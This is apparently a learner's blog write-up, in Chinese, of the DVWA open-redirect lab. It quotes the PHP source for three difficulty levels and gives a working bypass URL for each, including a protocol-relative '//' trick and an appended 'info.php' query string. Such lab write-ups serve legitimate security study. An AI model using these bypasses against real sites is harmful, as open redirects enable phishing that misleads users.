最近在看web安全,刷刷靶场,简单记录。
Low
先随便输入后抓包,可以看到一个http302重定向,一个200。
low.php重定向了,查看源码如下。
<?php if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") { header ("location: " . $_GET['redirect']); exit; } ?>
可以看到只是判断get请求参数中是否有redirect参数,因此只要传参即可。
仿照第一个请求的地址,输入如下
http://dvwa/vulnerabilities/open_redirect/source/low.php?redirect=https://cnblo*g*s*.com
即可实现跳转
Medium
可以直接查看源码medium.php
<?php if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") { if (preg_match ("/http://|https:///i", $_GET['redirect'])) { http_response_code (500); ?> <p>Absolute URLs not allowed.</p> <?php exit; } else { header ("location: " . $_GET['redirect']); exit; } } ?>
可以看到只是做了一些校验,判断redirect参数中是否携带了http:// 或https://
那么这样绕过也较为简单,可以直接使用双斜杠//即可,如下,即使没加http https,也会自动解析,使用当前的协议跳转
http://dvwa/vulnerabilities/open_redirect/source/medium.php?redirect=//cnblogs.com
High
<?php if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") { if (strpos($_GET['redirect'], "info.php") !== false) { header ("location: " . $_GET['redirect']); exit; } else { http_response_code (500); ?> <p>You can only redirect to the info page.</p> <?php exit; } } ?>
可以看到high的防御手段是检查get请求的redirect参数中是否存在“info.php”,因此可以直接构造一个参数?page=info.php来绕过,最终跳转到evil.com中。具体访问如下。
http://dvwa/vulnerabilities/open_redirect/source/high.php?redirect=//cnblogs.com/?page=info.php
小结
这一部分并不是很难,但是第一次做的时候就没什么头绪,只能通过研究源码进行绕过,很多别的题目也是如此。要是真在实战中,该怎么整呢?